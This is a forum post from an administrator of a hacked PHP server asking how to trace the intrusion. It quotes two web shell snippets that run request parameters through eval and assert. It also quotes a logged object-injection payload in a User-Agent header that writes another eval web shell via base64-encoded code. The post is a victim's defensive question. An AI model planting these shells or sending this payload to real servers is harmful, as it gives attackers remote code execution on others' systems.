I have a server that currently has been hacked. Files are being created on my server which has content of this type:
if(isset($_REQUEST['oUS'])){/*PJEG*/eval($_REQUEST['oUS']);/*z*/exit;/*Lv*/}
Or like this:
<?php /*auV*/if/*fpFF*/(isset($_REQUEST['ufopf']))/*LpY*/{/*klY*/$P=/*OMca*/"assert";/*h*/$m=$P/*gN*/(/*N*/$_REQUEST['ufopf'])/*It*/;/*gSAI*/exit;/*W*/}?>
And others.
Also the same code has been injected on multiple other files that were already on the server.
I thought of two possibilites to determine who hacked me and from where:
First looked into the logs from the server(GET, POST requests) to see what came through, when, the IP from where the request was made etc. No success, couldn't find anything that would suggest who and how my server has been hacked. Could be through a form, could be anything...Any idea on how can I determine that?
Second thing I tried was to look into the FTP logs. Thought that someone gained access to it and uploaded those malware files. Again, there also was nothing to suggest that the files I see on my server were uploaded through FTP, because I couldn't find those files on the FTP logs.
Anyone can please suggest any other tips and tricks regarding this? How can I determine how those files were created or uploaded on the server? And how can I determine from where the requests from injected files came from?
If my question is offtopic, I will accept suggestions to delete it and post it somewhere else.
Server infos:
PHP Version 5.3.29
System: Linux server.myserver.com 3.10.0-327.4.5.el7.x86_64
Apache 2.0
UPDATE:
I've found some suspecting line that looks like this:
204.12.207.202 - - [13/Jul/2017:16:05:41 +0300] "GET / HTTP/1.1" 200 73776 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:216:\"eval(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2xseC5waHAnLCc4RDlBQUVFQzREOEU0NDM5Mjk5MDQ2QjhDREIzRjc4MiA8P3BocCBAZXZhbCgkX1BPU1RbInhpYW9iYWlmayJdKTsnKTs));JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"